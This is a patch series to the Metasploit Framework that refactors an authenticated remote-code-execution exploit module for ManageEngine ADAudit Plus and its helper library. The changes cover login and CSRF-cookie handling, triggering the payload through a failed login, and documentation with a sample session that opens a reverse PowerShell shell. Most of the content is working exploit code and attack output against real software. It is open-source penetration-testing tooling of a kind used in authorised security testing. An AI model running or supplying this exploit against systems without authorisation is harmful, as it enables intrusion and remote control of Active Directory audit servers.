b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/login.rb @@ -7,19 +7,13 @@ module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::Login # Performs a ManageEngine ADAudit Plus login. # - # @param mode [String] A string denoting the mode this function should be run in. Can be standard_auth for standard authorization, trigger_payload for when we are triggering a payload, or silent to reduce output. # @param auth_domain [String] The authentication domain to use to log in. # @param user [String] The username to log in as. # @param pass [String] The password to log in with. + # @param silent [Boolean] Whether to run in silent mode or not (silent mode means fewer print messages) # @return [Hash] Hash containing keys of type String that are mapped to a status code (Integer), a status message (String), a cookie (String) and/or an Array of configured domains as Strings. - def adaudit_plus_login(mode, auth_domain, user = '', pass = '') + def adaudit_plus_login(auth_domain, user = '', pass = '', silent=false) cookie_jar.clear # let's start fresh - if mode == 'trigger_payload' - print_status("Attempting to trigger the payload via an authentication attempt for domain #{@domain_alias} using incorrect credentials.") - trigger_attempt_fail_message = " You can try to manually trigger the payload via a failed login attempt for the #{@domain_alias} domain." - else - trigger_attempt_fail_message = '' - end # Visit the default homepage to retrieve some of the baseline cookies needed to authenticate. res_initial_cookies = send_request_cgi({ @@ -29,17 +23,15 @@ module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::Login }) unless res_initial_cookies - return { 'status' => adaudit_plus_status::CONNECTION_FAILED, 'message' => "Connection failed.#{trigger_attempt_fail_message}" } + return { 'status' => adaudit_plus_status::CONNECTION_FAILED, 'message' => 'Connection failed.' } end unless res_initial_cookies.code == 200 && res_initial_cookies.headers.include?('Set-Cookie') - return { 'status' => adaudit_plus_status::UNEXPECTED_REPLY, 'message' => "Failed to obtain the baseline cookies needed to proceed with authentication.#{trigger_attempt_fail_message}" } + return { 'status' => adaudit_plus_status::UNEXPECTED_REPLY, 'message' => 'Failed to obtain the baseline cookies needed to proceed with authentication.' } end # Visit the adaudit_plus_jump_to_js_uri page to grab more cookies needed for authentication. - unless mode == 'silent' - vprint_status('Attempting to obtain the required cookies for authentication') - end + vprint_status('Attempting to obtain the required cookies for authentication') unless silent res_extra_cookies = send_request_cgi({ 'uri' => adaudit_plus_jump_to_js_uri, @@ -48,18 +40,17 @@ module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::Login }) unless res_extra_cookies - return { 'status' => adaudit_plus_status::CONNECTION_FAILED, 'message' => "Connection failed.#{trigger_attempt_fail_message}" } + return { 'status' => adaudit_plus_status::CONNECTION_FAILED, 'message' => 'Connection failed.' } end unless res_extra_cookies.code == 200 && res_extra_cookies.headers.include?('Set-Cookie') && res_extra_cookies.get_cookies =~ /adapcsrf=[a-z0-9]{128}/ - return { 'status' => adaudit_plus_status::UNEXPECTED_REPLY, 'message' => "Failed to obtain the jump_to_js cookies required for authentication.#{trigger_attempt_fail_message}" } + return { 'status' => adaudit_plus_status::UNEXPECTED_REPLY, 'message' => 'Failed to obtain the jump_to_js cookies required for authentication.' } end - case mode - when 'standard_auth' - print_status('Trying to authenticate...') - when 'trigger_payload' + if silent vprint_status('Trying to authenticate...') + else + print_status('Trying to authenticate...') end post_vars = { @@ -80,24 +71,7 @@ module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::Login # Check to see if the connection succeeded. return { 'status' => adaudit_plus_status::CONNECTION_FAILED, 'message' => 'Connection failed' } unless res_login - if mode == 'trigger_payload' - # If we're only here to trigger the payload, we should only verify the response code and HTTP title. - if res_login - if res_login.code == 200 && res_login.body =~ /<title>ADAudit Plus/ - print_status("Trigger attempt completed. Let's hope we get a shell...") - else - print_warning('Received unexpected reply after sending the trigger request. Exploitation may not work.') - end - else - print_error('Connection failed while trying to trigger the payload, exploitation most likely failed.') - print_error(trigger_attempt_fail_message) - end - - # We don't need to return a message or cookie here - return { 'status' => adaudit_plus_status::SUCCESS } - end - - # Check to see if we got the right response code if the mode was not trigger_payload. + # Check to see if we got the right response code unless res_login.code == 303 && res_login.headers.include?('Set-Cookie') return { 'status' => adaudit_plus_status::NO_ACCESS, 'message' => 'Failed to authenticate.' } end @@ -124,6 +98,6 @@ module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::Login # In order to get a cookie we can actually use, we need to obtain the configured domains via the API, # so we will call adaudit_plus_grab_configured_domains to retreive this information for us. # Note that adaudit_plus_obtain_configured_domains uses the same return format as this method. - adaudit_plus_grab_configured_domains(adapcsrf_cookie.value, mode) + adaudit_plus_grab_configured_domains(adapcsrf_cookie.value, silent) end end diff --git a/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/target_info.rb b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/target_info.rb index 609989a07a..a975cfb4b8 100644 --- a/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/target_info.rb +++ b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/target_info.rb @@ -27,23 +27,25 @@ module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::TargetInfo # @param res_body [String] HTTP response body obtained via a GET request to the ADAudit Plus base path # @return [Array] Array containing a status code and status message. If AD domain aliases were found, the Array also contains an Array of Strings for the domain aliases def adaudit_plus_grab_domain_aliases(res_body) - domain_aliases = res_body.scan(/<select id="domainName" name="domainName".*?<option value="(.*?)">/m)&.flatten - if domain_aliases.blank? || domain_aliases == ['ADAuditPlus Authentication'] + domain_info = res_body.scan(/<select id="domainName" name="domainName" tabindex="\d+".*?>(.*?)<\/select>/m)&.flatten&.first + domain_aliases = domain_info&.scan(/<option value="(.*?)">.*?<\/option>/m)&.flatten + if domain_aliases.blank? || !domain_aliases.kind_of?(Array) || domain_aliases == ['ADAuditPlus Authentication'] return [adaudit_plus_status::NO_MATCH, 'No configured active directory domains were found.'] end + # remove 'ADAuditPlus Authentication' from the configured domains if it is listed + domain_aliases.delete('ADAuditPlus Authentication') + [adaudit_plus_status::SUCCESS, "Identified #{domain_aliases.length} configured domain alias(es): #{domain_aliases.join(', ')}", domain_aliases] end # Performs an API call to obtain the configured domains. The adapcsrf cookie obtained from this request is necessary to perform further authenticated actions # # @param adapcsrf_cookie [String] A valid adapcsrf_cookie obtained via a successful login action - # @param mode [String] The mode for this method that determines when and what should be returned + # @param silent [Boolean] Whether to run in silent mode or not (silent mode means fewer print messages) # @return [Hash] Hash containing keys of type String that are mapped to a status code (Integer), a status message (String), a cookie (String) and/or an Array of configured domains as Strings. - def adaudit_plus_grab_configured_domains(adapcsrf_cookie, mode) - if mode != 'silent' - vprint_status('Attempting to obtain the list of configured domains...') - end + def adaudit_plus_grab_configured_domains(adapcsrf_cookie, silent=false) + vprint_status('Attempting to obtain the list of configured domains...') unless silent res = send_request_cgi({ 'uri' => adaudit_plus_configured_domains_uri, @@ -59,7 +61,7 @@ module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::TargetInfo end configured_domains = [] - if res.code == 200 && res.body.include?('domainFullList') && mode != 'silent' + if res.code == 200 && res.body.include?('domainFullList') && !silent begin domain_info = JSON.parse(res.body) if domain_info.blank? || !domain_info.include?('domainFullList') || domain_info['domainFullList'].empty? diff --git a/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb b/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb index 2e7f10aed1..3ff65a65ee 100644 --- a/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb +++ b/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb @@ -8,7 +8,7 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::Remote::HTTP::ManageengineAdauditPlus + include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus def initialize(info = {}) super( @@ -162,15 +162,16 @@ class MetasploitModule < Msf::Exploit::Remote print_status('Attempting to authenticate again in order to retrieve the required cookies.') # we have to authenticate again in order to get the required cookie cookie_jar.clear - login_status, login_msg, csrf_cookie = adaudit_plus_login('silent', auth_domain, username, password) - case login_status + login_results = adaudit_plus_login(auth_domain, username, password, true) + login_msg = login_results['message'] + case login_results['status'] when adaudit_plus_status::CONNECTION_FAILED, adaudit_plus_status::UNEXPECTED_REPLY fail_with(Failure::Unknown, login_msg) when adaudit_plus_status::NO_ACCESS fail_with(Failure::NoAccess, login_msg) end - @adapcsrf_cookie = csrf_cookie + @adapcsrf_cookie = login_results['adapcsrf_cookie'] end print_status('Attempting to create an alert profile') @@ -206,15 +207,16 @@ class MetasploitModule < Msf::Exploit::Remote # here we have to authenticate again in order to get the required cookie cookie_jar.clear - login_status, login_msg, csrf_cookie = adaudit_plus_login('silent', auth_domain, username, password) - case login_status + login_results = adaudit_plus_login(auth_domain, username, password, true) + login_msg = login_results['message'] + case login_results['status'] when adaudit_plus_status::CONNECTION_FAILED, adaudit_plus_status::UNEXPECTED_REPLY fail_with(Failure::Unknown, login_msg) when adaudit_plus_status::NO_ACCESS fail_with(Failure::NoAccess, login_msg) end - @adapcsrf_cookie = csrf_cookie + @adapcsrf_cookie = login_results['adapcsrf_cookie'] end # we need to leverage CVE-2021-42847 to create a PowerShell script in /alert_scripts and then use the script name when creating the alert profile @@ -349,8 +351,9 @@ class MetasploitModule < Msf::Exploit::Remote return CheckCode::Detected("The provided AUTH_DOMAIN #{auth_domain} does not match the configured authentication domain(s).") end - login_status, login_msg, csrf_cookie, configured_domains = adaudit_plus_login('standard_auth', auth_domain, username, password) - case login_status + login_results = adaudit_plus_login(auth_domain, username, password, false) + login_msg = login_results['message'] + case login_results['status'] when adaudit_plus_status::CONNECTION_FAILED, adaudit_plus_status::UNEXPECTED_REPLY return CheckCode::Unknown(login_msg) when adaudit_plus_status::NO_ACCESS @@ -360,15 +363,15 @@ class MetasploitModule < Msf::Exploit::Remote print_error(login_msg) print_warning('The module will proceed, but exploitation may fail.') when adaudit_plus_status::SUCCESS - @domain = configured_domains.first + @domain = login_results['configured_domains'].first vprint_status("Using domain #{@domain} for the name of the directory we will be creating") end print_good('Successfully authenticated') - @adapcsrf_cookie = csrf_cookie + @adapcsrf_cookie = login_results['adapcsrf_cookie'] # check the build version to see if we can actually exploit the target - build_status, build_msg, build_version = adaudit_plus_grab_build(csrf_cookie) + build_status, build_msg, build_version = adaudit_plus_grab_build(@adapcsrf_cookie) case build_status when adaudit_plus_status::CONNECTION_FAILED, adaudit_plus_status::UNEXPECTED_REPLY return CheckCode::Unknown(build_msg) @@ -409,8 +412,9 @@ class MetasploitModule < Msf::Exploit::Remote if @adapcsrf_cookie.blank? # let's clear the cookie jar and try to authenticate cookie_jar.clear - login_status, login_msg, csrf_cookie, configured_domains = adaudit_plus_login('standard_auth', auth_domain, username, password) - case login_status + login_results = adaudit_plus_login(auth_domain, username, password, false) + login_msg = login_results['message'] + case login_results['status'] when adaudit_plus_status::CONNECTION_FAILED, adaudit_plus_status::UNEXPECTED_REPLY fail_with(Failure::Unknown, login_msg) when adaudit_plus_status::NO_ACCESS @@ -420,12 +424,12 @@ class MetasploitModule < Msf::Exploit::Remote print_error(login_msg) print_warning('The module will proceed, but exploitation may fail.') when adaudit_plus_status::SUCCESS - @domain = configured_domains.first + @domain = login_results['configured_domains'].first vprint_status("Using domain #{@domain} for the name of the directory we will be creating") end print_good('Successfully authenticated') - @adapcsrf_cookie = csrf_cookie + @adapcsrf_cookie = login_results['adapcsrf_cookie'] end # let's create the alert profile @@ -455,10 +459,16 @@ class MetasploitModule < Msf::Exploit::Remote end end - login_status, login_msg = adaudit_plus_login('trigger_payload', @domain_alias, rand_text_alphanumeric(5..8), rand_text_alphanumeric(8..12)) - case login_status + print_status("Attempting to trigger the payload via an authentication attempt for domain #{@domain_alias} using incorrect credentials.") + login_results = adaudit_plus_login(@domain_alias, rand_text_alphanumeric(5..8), rand_text_alphanumeric(8..12), true) + login_msg = login_results['message'] + case login_results['status'] when adaudit_plus_status::CONNECTION_FAILED, adaudit_plus_status::UNEXPECTED_REPLY - fail_with(Failure::Unknown, login_msg) + fail_with(Failure::Unknown, "#{login_msg} You can try to manually trigger the payload via a failed login attempt for the #{@domain_alias} domain.") + when adaudit_plus_status::NO_ACCESS + print_status("Received expected reply when trying to trigger the payload. Let's hope we get a shell...") + else + print_warning('Received unexpected reply when trying to trigger the payload. The module will continue but exploitation will likely fail.') end @pwned = 0 # used to keep track of successful exploitation and the number of shells we get in cleanup and on_new_session @@ -471,10 +481,10 @@ class MetasploitModule < Msf::Exploit::Remote print_error('Failed to obtain a shell. You could try increasing the WfsDelay value') end cookie_jar.clear - login_status, _login_msg, csrf_cookie = adaudit_plus_login('silent', auth_domain, username, password) - case login_status + login_results = adaudit_plus_login(auth_domain, username, password, true) + case login_results['status'] when adaudit_plus_status::SUCCESS, adaudit_plus_status::NO_MATCH - delete_alert(csrf_cookie) + delete_alert(login_results['adapcsrf_cookie']) else print_warning('Failed to authenticate in order to perform cleanup. Manual cleanup required.') end From 0fd743d851aed39e84395303e296fc052e600a71 Mon Sep 17 00:00:00 2001 From: Grant Willcox <gwillcox@rapid7.com> Date: Thu, 29 Dec 2022 13:00:53 -0600 Subject: [PATCH 10/26] Add in fixes from code review --- ...geengine_adaudit_plus_authenticated_rce.md | 13 ++-- .../remote/http/manage_engine_adaudit_plus.rb | 4 +- .../json_post_data.rb | 8 ++- .../http/manage_engine_adaudit_plus/login.rb | 55 ++++++++++++++--- .../manage_engine_adaudit_plus/target_info.rb | 61 ++++++++++++++----- .../http/manage_engine_adaudit_plus/uris.rb | 5 +- lib/rex/proto/ms_dtyp.rb | 2 + ...geengine_adaudit_plus_authenticated_rce.rb | 2 +- 8 files changed, 113 insertions(+), 37 deletions(-) diff --git a/documentation/modules/exploit/windows/http/manageengine_adaudit_plus_authenticated_rce.md b/documentation/modules/exploit/windows/http/manageengine_adaudit_plus_authenticated_rce.md index 62302e5b26..a7306e5c3a 100644 --- a/documentation/modules/exploit/windows/http/manageengine_adaudit_plus_authenticated_rce.md +++ b/documentation/modules/exploit/windows/http/manageengine_adaudit_plus_authenticated_rce.md @@ -2,15 +2,16 @@ This module exploits security issues in ManageEngine ADAudit Plus prior to 7006 that allow authenticated users to execute arbitrary code by creating a custom alert profile and leveraging the custom alert script component. -This module first runs a few checks to test the provided credentials, retrieve the configured domain(s) and +This module first runs a few checks to test the provided credentials, retrieve the configured domain(s), and obtain the build number of ManageEngine. If the credentials are valid and the target is vulnerable, the module creates an alert profile that will be triggered for any failed login attempt to the configured domain. For versions prior to build 7004, the payload is directly inserted in the custom alert script component of the alert profile. For builds 7004 and 7005, the module leverages an arbitrary file write vulnerability (CVE-2021-42847) to create a Powershell script -in the alert_scripts directory that contains the payload. The name of this script is then provided as the value for the custom -alert script component of the alert profile. For these builds, Meterpreter payloads such as +in the `alert_scripts` directory that contains the payload. Note that this directory will be located under the +ADAudit Plus installation directory. The name of this script is then provided as the value for the +custom alert script component of the alert profile. For these builds, Meterpreter payloads such as `cmd/windows/powershell/meterpreter/reverse_tcp` do not seem to work and only the `cmd/windows/powershell_reverse_tcp` payload has been tested successfully. @@ -54,7 +55,7 @@ Password to authenticate with. The default is `admin`, which matches the default ## Scenarios ### ManageEngine ADAudit Plus build 7003 running on Windows Server 2012 R2 ``` -msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > options +msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > options Module options (exploit/windows/http/manageengine_adaudit_plus_authenticated_rce): @@ -89,7 +90,7 @@ Exploit target: msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > run -[*] Started reverse TCP handler on 192.168.91.195:4444 +[*] Started reverse TCP handler on 192.168.91.195:4444 [*] Running automatic check ("set AutoCheck false" to disable) [*] Using configured authentication domain alias LIES. [*] Trying to authenticate... @@ -115,7 +116,7 @@ PS C:\Program Files\ManageEngine\ADAudit Plus\bin> ``` msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > run -[*] Started reverse TCP handler on 192.168.91.195:4444 +[*] Started reverse TCP handler on 192.168.91.195:4444 [*] Running automatic check ("set AutoCheck false" to disable) [*] Using configured authentication domain alias LIES. [*] Trying to authenticate... diff --git a/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus.rb b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus.rb index 3c6e919b44..7b95c0bdff 100644 --- a/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus.rb +++ b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus.rb @@ -5,8 +5,8 @@ module Msf # This module provides a way of interacting with ManageEngine ADAudit Plus installations module ManageEngineAdauditPlus include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::Login include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::JsonPostData + include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::Login include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::StatusCodes include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::TargetInfo include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::URIs @@ -16,7 +16,7 @@ module Msf register_options( [ - Msf::OptString.new('TARGETURI', [true, 'The base path to the ManageEnginge ADAudit Plus application', '/']), + Msf::OptString.new('TARGETURI', [true, 'The base path to the ManageEngine ADAudit Plus application', '/']), Msf::OptString.new('USERNAME', [false, 'Username to authenticate with', 'admin']), Msf::OptString.new('PASSWORD', [false, 'Password to authenticate with', 'admin']), diff --git a/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/json_post_data.rb b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/json_post_data.rb index 748198ab47..97df166919 100644 --- a/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/json_post_data.rb +++ b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/json_post_data.rb @@ -4,7 +4,9 @@ module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::JsonPostData # Generates a JSON hash according to the format required by the GPOWatcherData endpoint # # @param options [Hash] Hash containing parameters to include in the JSON hash. The parameters can be Booleans, Strings and/or Integers - # @return [JSON] A JSON hash matching the format required by the GPOWatcherData endpoint. if the options param is invalid, an empty JSON hash is returned + # @return [String] A string representation of the JSON hash matching the + # format required by the GPOWatcherData endpoint. Will be an empty string + # if the options param is invalid. def generate_gpo_watcher_data_json(options) post_data = {} return post_data.to_json unless options.is_a?(Hash) @@ -16,8 +18,8 @@ module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::JsonPostData post_data['VER_FILE_NAME'] = options['VER_FILE_NAME'] || generate_ver_file_name post_data['xmlReport'] = options['xmlReport'] || '<?xml version="1.0" encoding="utf-16"?>' - html_filename = options['Html_fileName'] - post_data['Html_fileName'] = html_filename if html_filename + html_filename = options['html_fileName'] + post_data['html_fileName'] = html_filename if html_filename html_report = options['htmlReport'] post_data['htmlReport'] = html_report if html_report diff --git a/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/login.rb b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/login.rb index bbbf3b6304..b444e00abb 100644 --- a/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/login.rb +++ b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/login.rb @@ -1,6 +1,7 @@ # -*- coding: binary -*- module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::Login + include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::StatusCodes include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::TargetInfo include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::URIs @@ -11,7 +12,14 @@ module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::Login # @param user [String] The username to log in as. # @param pass [String] The password to log in with. # @param silent [Boolean] Whether to run in silent mode or not (silent mode means fewer print messages) - # @return [Hash] Hash containing keys of type String that are mapped to a status code (Integer), a status message (String), a cookie (String) and/or an Array of configured domains as Strings. + # @return [Hash] Hash containing a `status` key, which is used to hold a + # status value as an Integer value, a `message` key, which is used + # to hold a message associated with the status value as a String, + # an optional `adapcsrf_cookie` key which maps to a String containing the + # adapcsrf cookie to be used for authentication purposes, and an + # optional `configured_domains` key which maps to an Array of Strings, + # each containing a domain name that has been configured to be used by + # the ManageEngine ADAudit Plus target. def adaudit_plus_login(auth_domain, user = '', pass = '', silent=false) cookie_jar.clear # let's start fresh @@ -23,11 +31,17 @@ module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::Login }) unless res_initial_cookies - return { 'status' => adaudit_plus_status::CONNECTION_FAILED, 'message' => 'Connection failed.' } + return { + 'status' => adaudit_plus_status::CONNECTION_FAILED, + 'message' => 'Connection failed.' + } end unless res_initial_cookies.code == 200 && res_initial_cookies.headers.include?('Set-Cookie') - return { 'status' => adaudit_plus_status::UNEXPECTED_REPLY, 'message' => 'Failed to obtain the baseline cookies needed to proceed with authentication.' } + return { + 'status' => adaudit_plus_status::UNEXPECTED_REPLY, + 'message' => 'Failed to obtain the baseline cookies needed to proceed with authentication.' + } end # Visit the adaudit_plus_jump_to_js_uri page to grab more cookies needed for authentication. @@ -40,11 +54,17 @@ module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::Login }) unless res_extra_cookies - return { 'status' => adaudit_plus_status::CONNECTION_FAILED, 'message' => 'Connection failed.' } + return { + 'status' => adaudit_plus_status::CONNECTION_FAILED, + 'message' => 'Connection failed.' + } end unless res_extra_cookies.code == 200 && res_extra_cookies.headers.include?('Set-Cookie') && res_extra_cookies.get_cookies =~ /adapcsrf=[a-z0-9]{128}/ - return { 'status' => adaudit_plus_status::UNEXPECTED_REPLY, 'message' => 'Failed to obtain the jump_to_js cookies required for authentication.' } + return { + 'status' => adaudit_plus_status::UNEXPECTED_REPLY, + 'message' => 'Failed to obtain the jump_to_js cookies required for authentication.' + } end if silent @@ -69,11 +89,17 @@ module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::Login }) # Check to see if the connection succeeded. - return { 'status' => adaudit_plus_status::CONNECTION_FAILED, 'message' => 'Connection failed' } unless res_login + return { + 'status' => adaudit_plus_status::CONNECTION_FAILED, + 'message' => 'Connection failed' + } unless res_login # Check to see if we got the right response code unless res_login.code == 303 && res_login.headers.include?('Set-Cookie') - return { 'status' => adaudit_plus_status::NO_ACCESS, 'message' => 'Failed to authenticate.' } + return { + 'status' => adaudit_plus_status::NO_ACCESS, + 'message' => 'Failed to authenticate.' + } end # Check if we are actually logged in by visiting the home page. @@ -83,16 +109,25 @@ module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::Login 'keep_cookies' => true }) - return { 'status' => adaudit_plus_status::CONNECTION_FAILED, 'message' => 'Connection failed' } unless res_post_auth + return { + 'status' => adaudit_plus_status::CONNECTION_FAILED, + 'message' => 'Connection failed' + } unless res_post_auth unless res_post_auth.code == 200 && res_post_auth.body.include?('ManageEngine ADAudit Plus web client is initializing') - return { 'status' => adaudit_plus_status::NO_ACCESS, 'message' => 'The web app failed to load after authenticating' } + return { + 'status' => adaudit_plus_status::NO_ACCESS, + 'message' => 'The web app failed to load after authenticating' + } end # Return the value of the adapcsrf cookie, which will be required for later actions. adapcsrf_cookie = cookie_jar.cookies.select { |k| k.name == 'adapcsrf' }&.first if adapcsrf_cookie.blank? || adapcsrf_cookie.value.blank? - return { 'status' => adaudit_plus_status::NO_ACCESS, 'message' => 'Failed to obtain the required adapcsrf cookie' } + return { + 'status' => adaudit_plus_status::NO_ACCESS, + 'message' => 'Failed to obtain the required adapcsrf cookie' + } end # In order to get a cookie we can actually use, we need to obtain the configured domains via the API, diff --git a/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/target_info.rb b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/target_info.rb index a975cfb4b8..1cc1983654 100644 --- a/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/target_info.rb +++ b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/target_info.rb @@ -1,12 +1,13 @@ # -*- coding: binary -*- module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::TargetInfo + include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::StatusCodes include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::URIs - # Check is a target is likely a ManageEngine ADAudit Plus app + # Check that a target is likely running ManageEngine ADAudit Plus # - # @return [Array] Array containing a status code (Integer) and status message (String). If the target is ADAudit Plus, the Array also contains the server response + # @return [Array<Integer, String>] Array containing a status code (Integer) and status message (String). If the target is ADAudit Plus, the Array also contains the server response def adaudit_plus_target_check res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path), @@ -22,15 +23,18 @@ module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::TargetInfo end end - # Extract the configured aliases for configured active directory domains from an HTTP response body + # Extract the configured aliases for the configured Active Directory + # domains from a HTTP response body. # # @param res_body [String] HTTP response body obtained via a GET request to the ADAudit Plus base path - # @return [Array] Array containing a status code and status message. If AD domain aliases were found, the Array also contains an Array of Strings for the domain aliases + # @return [Array<Integer, String>] Array containing a status code and status message. + # If AD domain aliases were found, the Array also contains an + # Array of Strings for the domain aliases. def adaudit_plus_grab_domain_aliases(res_body) domain_info = res_body.scan(/<select id="domainName" name="domainName" tabindex="\d+".*?>(.*?)<\/select>/m)&.flatten&.first domain_aliases = domain_info&.scan(/<option value="(.*?)">.*?<\/option>/m)&.flatten if domain_aliases.blank? || !domain_aliases.kind_of?(Array) || domain_aliases == ['ADAuditPlus Authentication'] - return [adaudit_plus_status::NO_MATCH, 'No configured active directory domains were found.'] + return [adaudit_plus_status::NO_MATCH, 'No configured Active Directory domains were found.'] end # remove 'ADAuditPlus Authentication' from the configured domains if it is listed @@ -39,11 +43,20 @@ module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::TargetInfo [adaudit_plus_status::SUCCESS, "Identified #{domain_aliases.length} configured domain alias(es): #{domain_aliases.join(', ')}", domain_aliases] end - # Performs an API call to obtain the configured domains. The adapcsrf cookie obtained from this request is necessary to perform further authenticated actions + # Performs an API call to obtain the configured domains. The adapcsrf + # cookie obtained from this request is necessary to perform + # further authenticated actions. # # @param adapcsrf_cookie [String] A valid adapcsrf_cookie obtained via a successful login action # @param silent [Boolean] Whether to run in silent mode or not (silent mode means fewer print messages) - # @return [Hash] Hash containing keys of type String that are mapped to a status code (Integer), a status message (String), a cookie (String) and/or an Array of configured domains as Strings. + # @return [Hash] Hash containing a `status` key, which is used to hold a + # status value as an Integer value, a `message` key, which is used + # to hold a message associated with the status value as a String, + # an optional `adapcsrf_cookie` key which maps to a String containing the + # adapcsrf cookie to be used for authentication purposes, and an + # optional `configured_domains` key which maps to an Array of Strings, + # each containing a domain name that has been configured to be used by + # the ManageEngine ADAudit Plus target. def adaudit_plus_grab_configured_domains(adapcsrf_cookie, silent=false) vprint_status('Attempting to obtain the list of configured domains...') unless silent @@ -57,7 +70,10 @@ module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::TargetInfo } }) unless res - return { 'status' => adaudit_plus_status::CONNECTION_FAILED, 'message' => 'Connection failed while attempting to obtain the list of configured domains.' } + return { + 'status' => adaudit_plus_status::CONNECTION_FAILED, + 'message' => 'Connection failed while attempting to obtain the list of configured domains.' + } end configured_domains = [] @@ -88,25 +104,42 @@ module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::TargetInfo if configured_domains.empty? if got_cookie - return { 'status' => adaudit_plus_status::NO_MATCH, 'message' => 'Failed to obtain the list of configured domains.', 'adapcsrf_cookie' => adapcsrf_cookie.value } + return { + 'status' => adaudit_plus_status::NO_MATCH, + 'message' => 'Failed to obtain the list of configured domains.', + 'adapcsrf_cookie' => adapcsrf_cookie.value + } else - return { 'status' => adaudit_plus_status::NO_ACCESS, 'message' => 'Failed to obtain the required post-auth adapcsrf cookie' } + return { + 'status' => adaudit_plus_status::NO_ACCESS, + 'message' => 'Failed to obtain the required post-auth adapcsrf cookie' + } end end print_status("Found #{configured_domains.length} configured domain(s): #{configured_domains.join(', ')}") if got_cookie # we don't need to return a message here - return { 'status' => adaudit_plus_status::SUCCESS, 'adapcsrf_cookie' => adapcsrf_cookie.value, 'configured_domains' => configured_domains } + return { + 'status' => adaudit_plus_status::SUCCESS, + 'adapcsrf_cookie' => adapcsrf_cookie.value, + 'configured_domains' => configured_domains + } else - return { 'status' => adaudit_plus_status::NO_ACCESS, 'message' => 'Failed to obtain the required post-auth adapcsrf cookie', 'configured_domains' => configured_domains } + return { + 'status' => adaudit_plus_status::NO_ACCESS, + 'message' => 'Failed to obtain the required post-auth adapcsrf cookie', + 'configured_domains' => configured_domains + } end end # Check the build number for the ADAudit Plus installation # - # @param adapcsrf_cookie [String] A valid adapcsrf_cookie for API calls. Can be obtained via the adaudit_plus_login method in login.rb. - # @return [Array] Array containing a status code (Integer) and status message (String). If the build number is obtained, the Array also contains a Reg::Version object. + # @param adapcsrf_cookie [String] A valid ADAP CSRF cookie for API calls. + # @see adaudit_plus_login The function which can be called to obtain a + # valid CSRF cookie that can be used by this code. + # @return [Array<Integer, String>] Array containing a status code (Integer) and status message (String). If the build number is obtained, the Array also contains a Reg::Version object. def adaudit_plus_grab_build(adapcsrf_cookie) vprint_status('Attempting to obtain the ADAudit Plus build number') diff --git a/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/uris.rb b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/uris.rb index 5650cb5d55..3faa22765a 100644 --- a/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/uris.rb +++ b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/uris.rb 